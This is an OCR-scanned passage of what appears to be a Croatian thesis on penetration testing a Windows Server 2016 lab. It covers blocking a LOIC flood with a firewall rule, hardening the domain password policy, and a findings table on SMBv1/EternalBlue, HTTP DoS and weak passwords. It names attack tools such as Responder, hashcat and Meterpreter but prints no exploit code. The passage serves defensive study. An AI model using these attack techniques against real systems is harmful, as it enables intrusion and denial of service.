Mote: computer identities can onfy be verffied if an authentication

method that camies computer idertity is used.

< Back

Finish

® | Mew Rule..
Filter by Profile
Filter by State
Filter by Group

v v v w

View
Refresh
Export List...
Help

ftive Directory Domain C... &
Disable Rule

Cut

Copy
Delete

Properties

Help

Cancel

Slika 63. Nadodavanje racunala koja smiju pristupiti HTTPom po portu 80

Te kao zadnji korak smo nadodali racunala koja se smiju spajati na servis, u nasem slucaju

imamo jedno klijentsko ra¢unalo na domeni, a to je Racunalol.

Nakon $to smo dodali novo pravilo u vatrozidu 1 definirali njegove parametre, mozemo

ponovno probati izvesti napad koriste¢i LOIC alat.
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Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8.0

192.168.8.100

get

[P rEy=Xaavvasarataa)

Slika 64. LOIC alat nakon novog pravila u vatrozidu

15z) Task Manager - x
File Options View

Processes Performance Users Details Services

O CPU
3% 359 Ghz Ethernet Intel(R) PRO/1000 MT Desktop Adapter
Throughput 100 Kbps
O Memory
1,3/4,0 GB (33%)
O Ethernet
5: 0 Kbps R: O Kbps
&0 seconds i ] 0
+ Send Adapter name: Ethernet
0 KbpS Ethernet
: 192.168.8.100
Receive -
0 Kbps

Fewer details EE:] Open Resource Monitor

Slika 65. Ethernet prilagodnik nakon novog pravila u vatrozidu
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Evidentno je unutar LOIC alata da je napad neuspjesan te je na ethernet prilagodniku servera
WIN-SERVER2016 vidljivo da mrezni promet nije porastao. Ovim putem smo se uspjesno

zastitili od poplavljivanja odnosno DoS napada putem HTTP protokola na portu 80.
6.3.6. Sigurnosna politika lozinki

Kao iskoristavanje klijentskih racunala smo naveli primjer koriste¢i Responder alat unutar
Kali Linux stroja te probijanja hasha lozinke korisnice Ive Ivi¢ koriste¢i hashcat i rockyou.txt
datoteke. Vidjeli smo da je hashcat programu trebalo manje od sekunde kako bi saznali
lozinku Ive Ivi¢. U ovome slucaju najveci krivac je sigurnosna politika lozinki unutar domene
diplomski.local, potrebno ju je znatno postroziti i izmijeniti kako ovakvi slucajevi ne bi bili
moguci. To radimo na idué¢i nacin, na stroju WIN-SERVER2016 otvaramo Group Policy

Management upisivanjem gpmc.msc u Run program te pokretanjem dobivamo iduéi rezultat:

I Run >

=7 Typethe name of a program, folder, document, or Internet
= resource, and Windows will open it for you,

Open: | gpmc.msc w

¥ This task will be created with administrative privileges.

QK Cancel Browse...

Slika 66. Pokretanje Group Policy upravitelja na WIN-SERVER2016
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5L Group Policy Management
12 File Action View Window Help
| nE X6

5L Group Policy Management
w44 Forest: diplomski.local
~ 55 Domains
~ 4 diplomskilocal
s/ Default Domain Palicy
w (2 Domain Controllers
»/ Default Domain Controllers Policy
v B 76
2] Leasing odjel
2 Marketinski adjel
2 Tehnicki adjel
=t Group Policy Objects
& WMI Filters
7] Starter GPOs
& Sites
sk Group Policy Modeling
1+ Group Policy Results

Default Domain Policy
Scope Details Settings Delegation
Links
Display links in this location: diplomskiJocal

The following sites, domains, and OUs are linked to this GPO:

r

Location Enforced Link Enabled Path
ﬁi diplomski local No Yes diplomski local

Security Filtering
The settings in this GPO can only apply to the following groups, users, and computers:
=

Name

82, Autherticated Users

Add.. Remove Properties

WMI Filtering
This GPQ is linked to the following WMI filter:

<nonex w Open

Slika 67. Odabiranje Default Domain Policy stavke unutar domene diplomski.local

Unutar Group Policy Management prozora proSirujemo nasu domenu diplomski.local te

oznacujemo stavku Default Domain Policy, desnim klikom iz padajuéeg izbornika odabiremo

opciju Edit te nam se otvara prozor Group Policy Management Editor.

84




=[ Group Policy Management Editor - O x
File Action View Help
e« @ E=H

(=] Default Domain Policy [WIN-SE|| —/ pefault Domain Policy [WIN-SERVER2016.DIPLOMSKI.L OCAL] Policy
v A Computer Configuration

“ Policies Select an item to view its description.  Mame

| Preferences i Computer Configuration
v %, User Configuration i User Configuration

| Policies

| Preferences

< > \Extended AStandard/’

Slika 68. Otvaranje stavke Default Domain Policy

Unutar Group Policy Management Editora navigiramo do idu¢e putanje Computer
Configuration > Policies > Windows Settings > Security Settings > Account Policies >
Password Policy. Unutar ovog izbornika potrebno je definirati sigurnosne parametre za
lozinke korisnickih ra¢una unutar domene diplomski.local. Mi smo ih definirali na iduci

nadin:
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=/ Group Policy Management Editor - O *
File Action View Help
€= | 2EXE
v i Computer Configuration A1 Policy Policy Setting
w [ ] Policies
| Software Settings
w || Windows Settings

| Enforce password history 12 passwords remembered
| Maximum password age &0 days
- Mini d 1d
“| Mame Resolution Policy nmum passwor ge " - 35 -
2] Scripts (Startup/Shutdown) Minimum password length —_______l2characters |

| Password must meet complexity requirements Enabled

= Deployed Printers ; - ) )
v Fh Security Settings | Store passwords using reversible encryption Disabled
W :E‘ Account Policies
F Password Policy
5 Account Lockout Policy
5 Kerberos Policy
j Local Policies
:f| Eventlog
4 Restricted Groups
& System Services
4 Registry
4 File System
i{’ Wired Metwork (IEEE 802.3) Policies
| Windows Firewall with Advanced Security
| Metwork List Manager Policies
;_,n‘;f Wireless Metwork (IEEE 802.11) Policies
| Public Key Policies
| Software Restriction Policies

Slika 69. Pregled sigurnosne politike lozinki

Definirali smo iducée stavke:

1. Enforce password history: 12 passwords remembered — Ovime smo definirali da
sustav pamti zadnjih dvanaest lozinki od korisnika te ih korisnik ne moZe opet
iskoristiti.

2. Maximum password age: 60 days — Ovime smo definirali da korisnici moraju svakih
60 dana mijenjati lozinku.

3. Minimum password age: 1 days — Ovime smo definirali minimalnu dob lozinke.

4. Minimum password length: 12 characters — Ovime smo definirali da minimalna
duljina odnosno broj znakova neke lozinke mora biti 12 znakova.

5. Password must meet complexity requirements: Enabled — Ovime smo definirali da
lozinka mora zadovoljiti zahtjeve kompleksnosti.

6. Store passwords using reversible encryption: Disabled — Ovime smo definirali da

ne¢emo spremati lozinke na server koriste¢i reverzibilnu enkripciju.
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Nakon podesavanja tih parametara, vise ne mozemo uopcée kreirati korisnike unutar domene
bez zadovoljavanja navedenih pravila. Kako bi momentalno prisilili odredene korisnike sa
nesigurnim lozinkama poput Ive Ivi¢ u ovome primjeru, unutar Active Directoryja otvaramo

korisnika te oznacujemo opciju ,,User must change password at next logon®.

iva ivic Properties ? x
Member Of Dial+n Environment Sessions
Remote contral Remote Desktop Services Profile COM=

General Address Accourt Profile Telephones Crganization

|Uzer logon name:

| | @diplomski local -
IUser logon name (pre-Windows 2000):
| DIPLOMSKI | [vaivic

Logon Hours... Log On To...

[ ] Unlock account

Account options:

IJser must change password at next logon 2
] User cannot change password
[] Pazsword never expires

[ Store password using reversible encryption

Account expires

(®) Never
() End of: | 7. =mnja

[}
[ ]
P
(¥ )

Cancel Apply Help

Slika 70. Forsiranje promjene lozinke korisnici iva.ivic

Prilikom iduce prijave korisnice Ive Ivi¢, nakon upisivanja stare lozinke dolazi nam obavijest

da moramo postaviti novu lozinku.
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lva [VIC

The user’'s password must be changed before signing in.

Slika 71. Obavijest o0 obaveznoj promjeni lozinke

Prilikom upisa stare lozinke ,,12345678 ili upisa nove lozinke ,,11112222 nam prijavljuje

kako lozinka ne zadovoljava sigurnosne zahtjeve.

lva IviC

Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of
the domain:

Slika 72. Primjer gdje lozinka na zadovoljava sigurnosne uvjete
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Prilikom upisa nove, sigurnije lozinke ,,gPMVR3weETUV*, uspjesno smo izmijenili lozinku.

lva [VIC

Your password has been changed.

Slika 73. Uspjesna promjena lozinke prilikom zadovoljavanja sigurnosnih uvjeta

Na ovaj na¢in smo se znacajno zastitili od napada rje¢nikom u slucaju da netko sazna hash
vrijednost nase lozinke jer je lozinka znatno dulja i kompleksnija, velike su vjerojatnosti da
se napadom rjecnika niti ne moze saznati lozinka, a apsolutno je sigurno da bi probijanje

lozinke trajalo vrlo dugo.
6.4. Faza izvjeStavanja

U prethodnome poglavlju smo obavili penetracijsko testiranje virtualnog laboratorijskog
okruzenja kojeg smo stvorili, sada je doSao na red izvjestaj koji se treba generirati na kraju
svakog penetracijskog testiranja.
Testiralo se virtualno okruZenje koje se nalazi u mrezi 192.168.8.0/24. Testiranje se

provodilo koriste¢i stroj na kojem se pokre¢e Kali Linux operativni sustav. Skeniranjem
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mreze 1 portova smo naiSli na dva uredaja interesa, jedno do njih je server WIN-

SERVER2016, a drugo je klijentsko racunalo Racunalol. U iduéoj tablici mozemo vidjeti

rezultate.

Uredaj

WIN-
SERVER2016

WIN-
SERVER2016

AINE
SERVER2016,

Racunalol

IP adresa Primijeceni propust
192.168.8.100 Microsoft-ds
(SMBvV1) u

Windows Server
2016 operacijskom
sustavu. Sustav nije

azuriran.

192.168.8.100 HTTP

192.168.8.100  Sigurnosna politika

lozinki

Ranjivost

445 Neazurirani operacijski

sustav Windows
Server 2016 koji
unutar sebi ima
pokrenut Microsoft-ds
servis na portu 445
koji koristi SMBv1
protokol je podlozan
EternalBlue,
EternalRomance i
EternalChampion
metodama
iskoriStavanja ranjivih
tocaka. Ukoliko se
napadac¢ dovede u
poziciju da moze
iskoristiti ovu slabu
tocku, moze preuzeti

éitavi server.

HTTP je nesiguran
protokol koji se
provodi kroz otvoreni
port 80, vrlo je sklon
napadima koji mogu
dovesti do
poplavljivanja mreznih

usluga.

Nedefinirana
sigurnosna politika
lozinki moze dovesti
do toga da korisnik
sam moze kreirati

svoju lozinku te pritom
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Azuriranje
Windows
Server 2016
operacijskog
sustava sa
sigurnosnim
azuriranjem
KB4013429.

Zatvaranje
HTTP na portu
80 za
nesiguran
promet
koristeci

vatrozid.

Implementacija
sigurnosne
politike lozinki
kako bi se
lozinke svi

korisnickih

Rezultat

Sustav vise nije
pogodan za napad
koriste¢i EternalBlue,
EternalRomance ili
Eternal Champion
metode.

Vise nismo podlozni
DoS napadima HTTP

protokolom kroz port

80.

Klijentska racunala su
znatno zasticenija i
manje podlozna brute

force napadima.



Tablica 4. Izvjestaj o primijecenim propustima i provedenim mjerama otvrdnjavanja
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7. Zakljucak

U radu smo objasnili §to je to penetracijsko testiranje te otkud dolazi potreba za
penetracijskim testiranjem. Naveli smo i objasnili vrste penetracijskog testiranja, faze
penetracijskog testiranja i metodologije. Zatim smo izradili laboratorijsko okruzenje koristeci
Windows operacijski sustav unutar kojeg smo imali jedan stroj sa Kali Linux operativnim
sustavom s kojim smo kasnije proveli penetracijsko testiranje. Proveli smo penetracijsko
testiranje te zakljucili kako je Windows Server operacijski sustav imao ranjivih toc¢aka koje
su se itekako mogle iskoristiti te smo imali viSe mogucnosti kako provesti napad. Ukoliko
nam je cilj bio samo napraviti Stetu informacijskom sustavu odnosno zamisljenoj organizaciji,
mogli smo izbrisati bitne datoteke, ugasiti produkcijske servere, izbrisati konfiguracijske
datoteke 1 podatke te slicno. Ukoliko nam je cilj bio osigurati straznji ulaz na server te na
skriven nacin infiltrirati server kako bi kroz dulji period sakupljali produkcijske podatke,
mogli smo i to provesti. Ovo je sve bilo moguce zbog poznate ranjivosti SMBvI1 protokola za
dijeljenje datoteka unutar Windows Server 2016 operacijskog sustava, iskoriStavanje ove
ranjive tocke nam daje najviSe privilegije unutar sustava te u konacnici osim pristupa
shellom, meterpreterom ili powershellom, mozemo osigurati i RDP vezu na sami server.
Obavezno je azurirati Windows Server 2016 te pritom i sve ranije ina¢ice Windows Server
operacijskog sustava sa KB4013429 kako ne bi doslo do iskoristavanja sustava. Nakon ovoga
smo demonstrirali DoS napad na port 80 koriste¢ci HTTP protokol te zastitu od istoga
koriste¢i pravila unutar vatrozida. Demonstrirali smo i slabosti neispravno provedene
sigurnosne politike lozinki unutar domene diplomski.local, jednostavne lozinke se vrlo lako
mogu probiti napadima rje¢nikom ukoliko se dode do direktnog pristupa racunalu ili udaljeno
ukoliko se moZe uhvatiti kriptirana hash vrijednost neke lozinke. Prikazali smo kako provesti
sigurniju politiku lozinki te ju implementirati unutar domene. Kao zakljuéno se moze reci
kako je Windows Server 2016 vrlo siguran sustav ukoliko se konfigurira ispravno i redovito
azurira. Unutar organizacija su jo§ uvijek najslabija karika ljudi, ljudi su lakovjerni te
podlozni greSkama kada se nalaze pod stresom ili velikom koli¢inom posla, iskoriStavaju se
njihovi trenutci nepaznje metodama druStvenog inZenjeringa koje podrazumijevaju phishing
napade, pretexting i slicne. Osim neplaniranih greSaka zaposlenika je bitno spomenuti i Stetu
koju mogu napraviti nezadovoljni zaposlenici neke tvrtke ili bivsi zaposlenici koji su
upoznati sa infrastrukturom sustava neke tvrtke. 1znimno je bitno unutar organizacije poraditi
na sigurnosnoj politici IT sustava te samog okruzenja. Bitno je provoditi edukacije s ciljem

podizanja razine svijesti zaposlenika o napadima i njihovim opasnostima.
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Penetracijsko testiranje Windows Server 2016 u virtualnom

okruZenju

Sazetak

Cilj ovog rada je ste¢i uvid u sigurnost Windows Server 2016 operacijskog sustava u
laboratorijskom virtualnom serversko-klijentskom okruzenju. Racunala te generalno
informacijske tehnologije su potpuno utkani u svakodnevni Zivot te je u razvijenim
dijelovima svijeta poslovanje bez njih nezamislivo. Sa konstantnim, rapidnim razvitkom
informacijskih tehnologija otvaraju se i novi vektori napada na raCunalne sustave, racunalni
sustavi su kompleksniji nego ikada te je vrlo lako previdjeti 1 pogrijesiti pri konfiguraciji
istih. Sa strane napadaca je procesorska snaga jaca nego ikada te su mnogi alati dostupni koji
potpuno automatiziraju procese napada na raCunalne sustave. Jedan od nacina otvrdnjavanja
sustava protiv napada jest penetracijskim testiranjem. U ovome radu se provodi penetracijsko
testiranje Windows Server 2016 serversko-klijentskog okruzenja koriste¢i Kali Linux
operativni sustav. Zeli se prikazati koliko je bitno redovito aZuriranje, nadziranje i ispravno

konfiguriranje serverskih sustava.

Kljuéne rije¢i: penetracijsko testiranje, server-klijent, windows server 2016, kali linux,

active directory, eternalblue
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Penetration testing of Windows Server 2016 in a virtual

environment

Summary

The goal of this thesis is go gain insight into the security of the Windows Server 2016
operating system in a controlled virtual server-client environment. In the current age,
computers and IT in general are completely integrated into our everyday lives. In developed
parts of the world, business without IT is unthinkable and not possible. With the constant,
rapid development of IT, new vectors of attacks on computer systems are opening up,
computer systems are more complex than ever and it is very easy to overlook and make
mistakes when configuring them. On the attacker's side, processing power is stronger and
more available than ever and many powerful tools which automate attacks are free and at
their disposal. One of many ways to test a systems' security and defenses is by conducting a
penetration test. In this thesis, penetration testing of the Windows Server 2016 operating
system is carried out using a Kali Linux machine in a controlled, laboratory environment. The
goal is to present how important it is to regularly patch, monitor and correctly configure a

Server.

Key words: penetration testing, server-client, windows server 2016, kali linux, active

directory, eternalblue
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